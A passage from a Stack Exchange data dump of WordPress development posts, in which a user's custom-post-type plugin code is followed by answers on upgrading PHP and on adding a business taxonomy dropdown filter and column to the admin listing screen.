/&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;personal_field&quot;&amp;gt;&amp;lt;label&amp;gt;Email:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;personal_input&quot;&amp;gt;&amp;lt;input name=&quot;list-email&quot; value=&quot;&amp;lt;?php echo $email; ?&amp;gt;&quot; size=&quot;40&quot;/&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;personal_field&quot;&amp;gt;&amp;lt;label&amp;gt;Website:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;personal_input&quot;&amp;gt;&amp;lt;input name=&quot;list-website&quot; value=&quot;&amp;lt;?php echo $website; ?&amp;gt;&quot; size=&quot;40&quot;/&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;personal_field&quot;&amp;gt;&amp;lt;label&amp;gt;Phone:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;personal_input&quot;&amp;gt;&amp;lt;input name=&quot;list-phone&quot; value=&quot;&amp;lt;?php echo $phone; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;personal_field&quot;&amp;gt;&amp;lt;label&amp;gt;Mobile:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;personal_input&quot;&amp;gt;&amp;lt;input name=&quot;list-mobile&quot; value=&quot;&amp;lt;?php echo $mobile; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;personal_field&quot;&amp;gt;&amp;lt;label&amp;gt;Fax:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;personal_input&quot;&amp;gt;&amp;lt;input name=&quot;list-fax&quot; value=&quot;&amp;lt;?php echo $fax; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;     &amp;lt;?php&#xA;  }&#xA;&#xA;  // Admin post meta contents&#xA;  function meta_location() {&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    if(isset($custom[&quot;list-address1&quot;])) $address1 = $custom[&quot;list-address1&quot;][0];else $address1 = '';&#xA;    if(isset($custom[&quot;list-address2&quot;])) $address2 = $custom[&quot;list-address2&quot;][0];else $address2 = '';&#xA;    if(isset($custom[&quot;list-country&quot;])) $country = $custom[&quot;list-country&quot;][0];else $country = '';&#xA;    if(isset($custom[&quot;list-province&quot;])) $province = $custom[&quot;list-province&quot;][0];else $province = '';&#xA;    if(isset($custom[&quot;list-city&quot;])) $city = $custom[&quot;list-city&quot;][0];else $city = '';&#xA;    if(isset($custom[&quot;list-postcode&quot;])) $post_code = $custom[&quot;list-postcode&quot;][0];else $post_code = '';&#xA;    if(isset($custom[&quot;list-profile&quot;])) $profile = $custom[&quot;list-profile&quot;][0];else $profile = '';&#xA;    if(isset($custom[&quot;list-distributionrange&quot;])) $distribution_range = $custom[&quot;list-distributionrange&quot;][0];else $distribution_range = '';&#xA;    if(isset($custom[&quot;list-distributionarea&quot;])) $distribution_area = $custom[&quot;list-distributionarea&quot;][0];else $ddistribution_area = '';&#xA;  ?&amp;gt;&#xA;&amp;lt;div class=&quot;location&quot;&amp;gt;&#xA;&amp;lt;table border=&quot;0&quot; id=&quot;location&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;location_field&quot;&amp;gt;&amp;lt;label&amp;gt;Address 1:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;location_input&quot;&amp;gt;&amp;lt;input name=&quot;list-address1&quot; value=&quot;&amp;lt;?php echo $address1; ?&amp;gt;&quot; size=&quot;60&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;location_field&quot;&amp;gt;&amp;lt;label&amp;gt;Address 2:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;location_input&quot;&amp;gt;&amp;lt;input name=&quot;list-address2&quot; value=&quot;&amp;lt;?php echo $address2; ?&amp;gt;&quot; size=&quot;60&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;location_field&quot;&amp;gt;&amp;lt;label&amp;gt;City:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;location_input&quot;&amp;gt;&amp;lt;input name=&quot;list-city&quot; value=&quot;&amp;lt;?php echo $city; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;location_field&quot;&amp;gt;&amp;lt;label&amp;gt;Province:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;location_input&quot;&amp;gt;&amp;lt;input name=&quot;list-province&quot; value=&quot;Ontario&quot; readonly /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;location_field&quot;&amp;gt;&amp;lt;label&amp;gt;Postal Code:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;location_input&quot;&amp;gt;&amp;lt;input name=&quot;list-postcode&quot; value=&quot;&amp;lt;?php echo $post_code; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;location_field&quot;&amp;gt;&amp;lt;label&amp;gt;Country:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;location_input&quot;&amp;gt;&amp;lt;input name=&quot;list-country&quot; value=&quot;Canada&quot; readonly /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;location_field&quot;&amp;gt;&amp;lt;label&amp;gt;Profile:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;location_input&quot;&amp;gt;&amp;lt;input name=&quot;list-profile&quot; value=&quot;&amp;lt;?php echo $profile; ?&amp;gt;&quot; size=&quot;60&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;location_field&quot;&amp;gt;&amp;lt;label&amp;gt;Distribution Range:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;location_input&quot;&amp;gt;&amp;lt;input name=&quot;list-distributionrange&quot; value=&quot;&amp;lt;?php echo $distribution_range; ?&amp;gt;&quot; size=&quot;60&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;location_field&quot;&amp;gt;&amp;lt;label&amp;gt;Distribution Area:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;location_input&quot;&amp;gt;&amp;lt;input name=&quot;list-distributionarea&quot; value=&quot;&amp;lt;?php echo $distribution_area; ?&amp;gt;&quot; size=&quot;60&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;?php&#xA;  }&#xA;}&#xA;&#xA;// Initiate the plugin&#xA;add_action(&quot;init&quot;, &quot;ListingInit&quot;);&#xA;function ListingInit() { &#xA;  global $listing;&#xA;  $listing = new Listing();&#xA;  $add_css = $listing-&amp;gt;loadStyleScripts();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do add a dropdown list of Businesses to the admin list for the Listings?&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-04T21:16:41.613" LastActivityDate="2011-08-29T11:44:11.410" Title="Adding a Taxonomy Filter to Admin List for a Custom Post Type?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;wp-admin&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="24" />
  <row Id="579" PostTypeId="2" ParentId="566" CreationDate="2010-08-19T15:17:42.447" Score="3" ViewCount="" Body="&lt;h1&gt;Upgrade to PHP 5.2 or above&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The Error Message you see is by Wordpress. It's very misleading what it basically saying is, that you need a PHP version &gt;= 5.2 for that feature to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please look into your operating systems documentation or contact technical support on how to update your PHP version. For CentOS, for example: &lt;a href=&quot;http://wiki.centos.org/HowTos/PHP_5.1_To_5.2&quot; rel=&quot;nofollow&quot;&gt;CentOS HowTos: PHP 5.1 To 5.2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Keep Timezones Upgraded&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To get the most out of &lt;a href=&quot;http://www.php.net/manual/en/book.datetime.php&quot; rel=&quot;nofollow&quot;&gt;PHP Timezone support&lt;/a&gt;, there is a PECL package that contains all the latest updates: &lt;a href=&quot;http://pecl.php.net/package/timezonedb&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;timezonedb&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So next to upgrading PHP to a recent version, you can install that PECL package and keep it updated to get the latest timezone updates (last one was on August 16):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ yum install php-pear php-devel&#xA;$ pecl install timezonedb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T12:55:19.957" LastActivityDate="2010-08-24T12:55:19.957" CommentCount="3" />
  <row Id="581" PostTypeId="2" ParentId="575" CreationDate="2010-08-19T15:42:23.613" Score="2" ViewCount="" Body="&lt;p&gt;To follow up on John's answer:&#xA; Add a call to said function on one of the hooks mentioned by John and hakre.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add, e.g., the following to your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function my_function_name(){&#xA;  if(is_home()) do_something();&#xA;}&#xA;&#xA;add_action('template_redirect', 'my_function_name');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: I misread your question at first -- it looks like you've got a function encapsulating the code already, it's just that you're firing on the wrong hook. Either break that section out into a separate function and have it fire at template_redirect, etc., or change where you're hooking in the first place.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-19T15:42:23.613" />
  <row Id="582" PostTypeId="2" ParentId="578" CreationDate="2010-08-19T15:58:37.460" Score="25" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I've included a new complete answer but even so I've left my original response at the bottom to which the first few comments reference.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hi &lt;strong&gt;@tarasm&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I said it shouldn't be hard it is a little involved. But before we dig into the code... &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Screenshots:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;...let's check out some screen shots for the finished product:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Listings list page with &lt;em&gt;No&lt;/em&gt; Filtering:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100820-174819.png&quot; alt=&quot;Listings list page with No Filtering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Listings list page &lt;em&gt;With&lt;/em&gt; Filtering:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100820-175705.png&quot; alt=&quot;Listings list page With Filtering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Code&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So here we go... (&lt;strong&gt;Note:&lt;/strong&gt; I used a singular form for the taxonomy name of &lt;code&gt;business&lt;/code&gt;; I hope that matches your. From lots of experience with both WordPress and database development in the past I believe it is best to do it this way.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step #1: The &lt;code&gt;restrict_manage_posts&lt;/code&gt; action hook.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First thing you need to do is to hook the &lt;code&gt;restrict_manage_posts&lt;/code&gt; action which has no parameters and is called from &lt;code&gt;/wp-admin/edit.php&lt;/code&gt; (in v3.0.1 that call is on line 378.) This will allow you to generate the drop down select at the appropriate location above the list of Listing posts. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('restrict_manage_posts','restrict_listings_by_business');&#xA;function restrict_listings_by_business() {&#xA;    global $typenow;&#xA;    global $wp_query;&#xA;    if ($typenow=='listing') {&#xA;        $taxonomy = 'business';&#xA;        $business_taxonomy = get_taxonomy($taxonomy);&#xA;        wp_dropdown_categories(array(&#xA;            'show_option_all' =&amp;gt;  __(&quot;Show All {$business_taxonomy-&amp;gt;label}&quot;),&#xA;            'taxonomy'        =&amp;gt;  $taxonomy,&#xA;            'name'            =&amp;gt;  'business',&#xA;            'orderby'         =&amp;gt;  'name',&#xA;            'selected'        =&amp;gt;  $wp_query-&amp;gt;query['term'],&#xA;            'hierarchical'    =&amp;gt;  true,&#xA;            'depth'           =&amp;gt;  3,&#xA;            'show_count'      =&amp;gt;  true, // Show # listings in parens&#xA;            'hide_empty'      =&amp;gt;  true, // Don't show businesses w/o listings&#xA;        ));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We start by checking the &lt;code&gt;$typenow&lt;/code&gt; variable to ensure we are in fact on a &lt;code&gt;post_type&lt;/code&gt; of &lt;code&gt;listing&lt;/code&gt;. If you don't you'll get this drop down for all post types which in some cases is what you want, but not this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next we load information about the business taxonomy using &lt;code&gt;get_taxonomy()&lt;/code&gt;. We need it to retrieve the label for the taxonomy (i.e. &quot;&lt;em&gt;Businesses&lt;/em&gt;&quot;; we could have hard-coded, but that's not very good if you need to internationalize later.) Then we call &lt;code&gt;wp_dropdown_categories()&lt;/code&gt; with all the appropriate arguments in the &lt;code&gt;$args&lt;/code&gt; array to generate the drop down&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;return wp_dropdown_categories(array(&#xA;    'show_option_all' =&amp;gt;  __(&quot;Show All {$business_taxonomy-&amp;gt;label}&quot;),&#xA;    'taxonomy'        =&amp;gt;  $taxonomy,&#xA;    'name'            =&amp;gt;  'business',&#xA;    'orderby'         =&amp;gt;  'name',&#xA;    'selected'        =&amp;gt;  $wp_query-&amp;gt;query['term'],&#xA;    'hierarchical'    =&amp;gt;  true,&#xA;    'depth'           =&amp;gt;  3,&#xA;    'show_count'      =&amp;gt;  true, // Show # listings in parens&#xA;    'hide_empty'      =&amp;gt;  true, // Don't show businesses w/o listings&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what are the appropriate arguments? Let's look at each individually:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;show_optional_all&lt;/code&gt;&lt;/strong&gt; - Pretty straightforward, it's what is displayed in the drop down at first and when there has been no filtering applied. In our case it's going so be &lt;em&gt;&quot;Show All Businesses&lt;/em&gt;&quot; but we could have called it &lt;em&gt;&quot;Listings for All Businesses&quot;&lt;/em&gt; or whatever you  like.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;taxonomy&lt;/code&gt;&lt;/strong&gt; - This arguments tells the function what taxonomy to pull terms from even though the function has &lt;em&gt;&lt;code&gt;categories&lt;/code&gt;&lt;/em&gt; in its name. In v2.8 and earlier WordPress didn't have custom taxonomies but when they were added the team decided it would just be easier to add an taxonomy argument to this function than to create another function with another name.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;name&lt;/code&gt;&lt;/strong&gt; - This argument allows you to specify the value that WordPress with use for the &lt;code&gt;name&lt;/code&gt; attribute of the &amp;lt;select&amp;gt; element generated for the drop down. Just in case it isn't obvious this is also the value that will be used in the URL when filtering.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;orderby&lt;/code&gt;&lt;/strong&gt; - This argument tells WordPress how to order the results alphabetically. In our case we specified to order buy the &lt;code&gt;name&lt;/code&gt; of the terms in the taxonomy, i.e. the business names in this case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;selected&lt;/code&gt;&lt;/strong&gt; - This argument is needed so that the drop down can show the current filter in the drop down. It should be the &lt;code&gt;term_id&lt;/code&gt; from the selected taxonomy term. In our case it might be the &lt;code&gt;term_id&lt;/code&gt; from &lt;em&gt;&quot;Business #2&quot;&lt;/em&gt;. Where do we get this value? From WordPress' global variable &lt;code&gt;$wp_query&lt;/code&gt;; it has a property &lt;code&gt;query&lt;/code&gt; that contains an array of all the URL parameters and their values (unless some wayward plugin modified it already, of course.) Given how WordPress processes things there will be a &lt;code&gt;term&lt;/code&gt; URL parameter passed on the URL when the user clicks the filter button if the user selected a valid term (i.e. one of the listed businesses).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;hierarchical&lt;/code&gt;&lt;/strong&gt; - By setting this to &lt;code&gt;true&lt;/code&gt; you tell the function to respect the hierarchical nature of the taxonomy and display them in a tree view if the terms (businesses) in fact have children. For a screen shot to see what this looks like, see below.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;depth&lt;/code&gt;&lt;/strong&gt; - This argument collaborates with the &lt;code&gt;hierarchical&lt;/code&gt; argument to determine how many levels deep the function should go in displaying children.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;show_count&lt;/code&gt;&lt;/strong&gt; - If &lt;code&gt;true&lt;/code&gt; this argument will display a count posts within parentheses to the left of the term name within the drop down. In this case it would display a count of listings associated with a businesses. For a screen shot to see what this looks like, see below.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;hide_empty&lt;/code&gt;&lt;/strong&gt; - Finally, if there are terms in the taxonomy that are &lt;em&gt;not&lt;/em&gt; associated with a post (i.e. businesses not associated with a listing) then setting this to &lt;code&gt;true&lt;/code&gt; will omit them from being included in the drop down.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100820-183947.png&quot; alt=&quot;Taxonomy Drop Down should hierarchy and counts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step #2: The &lt;code&gt;parse_query&lt;/code&gt; filter hook.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next we call our attentions to the &lt;code&gt;parse_query&lt;/code&gt; filter hook which has one parameter (&lt;code&gt;$query&lt;/code&gt;) and is called from &lt;code&gt;/wp-includes/query.php&lt;/code&gt; (in v3.0.1 that call is on line 1549.)  It is called when WordPress has finished inspecting the URL and setting all appropriate values in the currently active &lt;code&gt;$wp_query&lt;/code&gt; including things like &lt;code&gt;$wp_query-&amp;gt;is_home&lt;/code&gt; and &lt;code&gt;$wp_query-&amp;gt;is_author&lt;/code&gt;, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the &lt;code&gt;parse_query&lt;/code&gt; filter hook runs WordPress will call &lt;code&gt;get_posts()&lt;/code&gt; and load up a list of posts based on what is specified in the currently active &lt;code&gt;$wp_query&lt;/code&gt;. So &lt;code&gt;parse_query&lt;/code&gt; is often a great place to get WordPress to change it's mind about which posts it is going to load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your use-case we want to get WordPress to filter based on the businesses selected; i.e. to display only those Listings which have been associated with the the selected business (I'd say &lt;em&gt;&quot;...only those Listings that have been &lt;strong&gt;&quot;categorized&quot;&lt;/strong&gt; by the selected business&quot;&lt;/em&gt; but that's not technical correct; &lt;code&gt;category&lt;/code&gt; is it's own taxonomy on peer with &lt;code&gt;business&lt;/code&gt; except that &lt;code&gt;category&lt;/code&gt; is built into WordPress and &lt;code&gt;business&lt;/code&gt; is custom. But for those familiar with categorizing posts this may help you understand as they work  almost identically. But I digress...) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On to the code. The first thing we do is grab a reference to the currently active &lt;code&gt;$wp_query&lt;/code&gt;'s &lt;code&gt;query_vars&lt;/code&gt; so that it's more convenient to work with, just like how its done within WordPress' own &lt;code&gt;parse_query()&lt;/code&gt; function. Unlike &lt;code&gt;$wp_query-&amp;gt;query&lt;/code&gt; which is used to mirror the parameters passed on the URL the &lt;code&gt;$wp_query-&amp;gt;query_vars&lt;/code&gt; array is used to control the query that WordPress runs and is expected to be modified. So if you need to modify one, that'd be the one (at least I &lt;em&gt;think&lt;/em&gt; that is the different between the two; if anyone knows otherwise &lt;em&gt;please&lt;/em&gt; let me know so I can update this!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('parse_query','convert_business_id_to_taxonomy_term_in_query');&#xA;function convert_business_id_to_taxonomy_term_in_query($query) {&#xA;    global $pagenow;&#xA;    $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;    if ($pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;            isset($qv['taxonomy']) &amp;amp;&amp;amp; $qv['taxonomy']=='business' &amp;amp;&amp;amp;&#xA;            isset($qv['term']) &amp;amp;&amp;amp; is_numeric($qv['term'])) {&#xA;        $term = get_term_by('id',$qv['term'],'business');&#xA;        $qv['term'] = $term-&amp;gt;slug;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next we test &lt;code&gt;$pagenow&lt;/code&gt; to ensure that we are indeed loading WordPress from the URL path &lt;code&gt;/wp-admin/edit.php&lt;/code&gt;. We do this to keep from accidentally screwing up queries on other pages. We also check to make sure that we have both &lt;code&gt;business&lt;/code&gt; as a &lt;code&gt;taxonomy&lt;/code&gt; element and a &lt;code&gt;term&lt;/code&gt; element too. (Note &lt;code&gt;taxonomy&lt;/code&gt; and &lt;code&gt;term&lt;/code&gt; are a pair; they are used together to allow querying of a taxonomy term; gotta have both or WordPress doesn't know which taxonomy to inspect.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might wonder how &lt;code&gt;business&lt;/code&gt; turned up in the &lt;code&gt;taxonomy&lt;/code&gt; element of the &lt;code&gt;query_vars&lt;/code&gt; array. What we wrote in our &lt;code&gt;parse_query&lt;/code&gt; hook triggered WordPress' internal magic that was laid in waiting when you registered the &quot;&lt;code&gt;business&lt;/code&gt;&quot; taxonomy by setting &lt;code&gt;query_var&lt;/code&gt; to be true (&lt;code&gt;register_taxonomy()&lt;/code&gt; copies the name of the taxonomy as its &lt;code&gt;query_var&lt;/code&gt;; you can change it of course but unless you have a conflict it's best to stick with the same):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init','register_business_taxonomy');&#xA;    function register_business_taxonomy() {&#xA;        register_taxonomy('business',array('listing'),array(&#xA;        'label' =&amp;gt; 'Businesses',&#xA;        'public'=&amp;gt;true,&#xA;        'hierarchical'=&amp;gt;true,&#xA;        'show_ui'=&amp;gt;true,&#xA;        'query_var'=&amp;gt;true&#xA;    ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now WordPress' $wp_query was written to use slugs for standard taxonomy filtered queries, not taxonomy term IDs. For this use-case what we really need to make our filtering query work are these:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;code&gt;taxonomy&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;business&lt;/em&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;code&gt;term&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;business-1&lt;/em&gt;  (i.e. the &lt;code&gt;slug&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not these:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;code&gt;taxonomy&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;business&lt;/em&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;code&gt;term&lt;/code&gt;&lt;/strong&gt;: &lt;em&gt;27&lt;/em&gt; (i.e. the &lt;code&gt;term_id&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Interestingly and unfortunately the drop-down generated by &lt;code&gt;wp_dropdown_categories()&lt;/code&gt; set the &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt;'s &lt;code&gt;value&lt;/code&gt; attribute to the term's(/business') &lt;code&gt;term_id&lt;/code&gt;, &lt;em&gt;not&lt;/em&gt; the term &lt;code&gt;slug&lt;/code&gt;. So we need to convert &lt;code&gt;$wp_query-&amp;gt;query_vars['term']&lt;/code&gt; from a numeric &lt;code&gt;term_id&lt;/code&gt; to it's string &lt;code&gt;slug&lt;/code&gt; as following in the snippet snagged from above (Note this is not the most performant way to query a database but until WordPress adds support for term_ids into its query that's the best we can do!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$term = get_term_by('id',$qv['term'],'business');&#xA;$qv['term'] = $term-&amp;gt;slug;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's it!  With those two functions you get the filtering you desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT WAIT, THERE'S MORE! :-)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went ahead and added a &lt;em&gt;&quot;Businesses&quot;&lt;/em&gt; column to your Listing list because, well, I knew it was going to be your next question. Without having a column for what you filter it can be very confusing for the end user. (I struggled with it myself, and I was the coder!) You can of course already see the &lt;em&gt;&quot;Businesses&quot;&lt;/em&gt; column in the prior screen shots above.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step #3: The &lt;code&gt;manage_posts_columns&lt;/code&gt; filter hook.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To add a column to the post list takes calling two (2) more hooks. The first one is &lt;code&gt;manage_posts_columns&lt;/code&gt; or the post type-specific version &lt;code&gt;manage_listing_posts_columns&lt;/code&gt; that I called instead. It accepts one parameter (&lt;code&gt;posts_columns&lt;/code&gt;) and is called from &lt;code&gt;/wp-admin/includes/template.php&lt;/code&gt; (in v3.0.1 that call is on line 623): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('manage_listing_posts_columns', 'add_businesses_column_to_listing_list');&#xA;function add_businesses_column_to_listing_list( $posts_columns ) {&#xA;    if (!isset($posts_columns['author'])) {&#xA;        $new_posts_columns = $posts_columns;&#xA;    } else {&#xA;        $new_posts_columns = array();&#xA;        $index = 0;&#xA;        foreach($posts_columns as $key =&amp;gt; $posts_column) {&#xA;            if ($key=='author')&#xA;                $new_posts_columns['businesses'] = null;&#xA;            $new_posts_columns[$key] = $posts_column;&#xA;        }&#xA;    }&#xA;    $new_posts_columns['businesses'] = 'Businesses';&#xA;    return $new_posts_columns;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;manage_posts_columns&lt;/code&gt; hook function gets passed an array of columns where the value is the displayed column header and the key is the internal column identifier. Standard column identifiers can include these and more: &lt;code&gt;'cb'&lt;/code&gt;, &lt;code&gt;'title&lt;/code&gt;', &lt;code&gt;'author'&lt;/code&gt;, &lt;code&gt;`'date'&lt;/code&gt;, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'cb'&lt;/code&gt;, is the &lt;code&gt;checkbox&lt;/code&gt; column and both 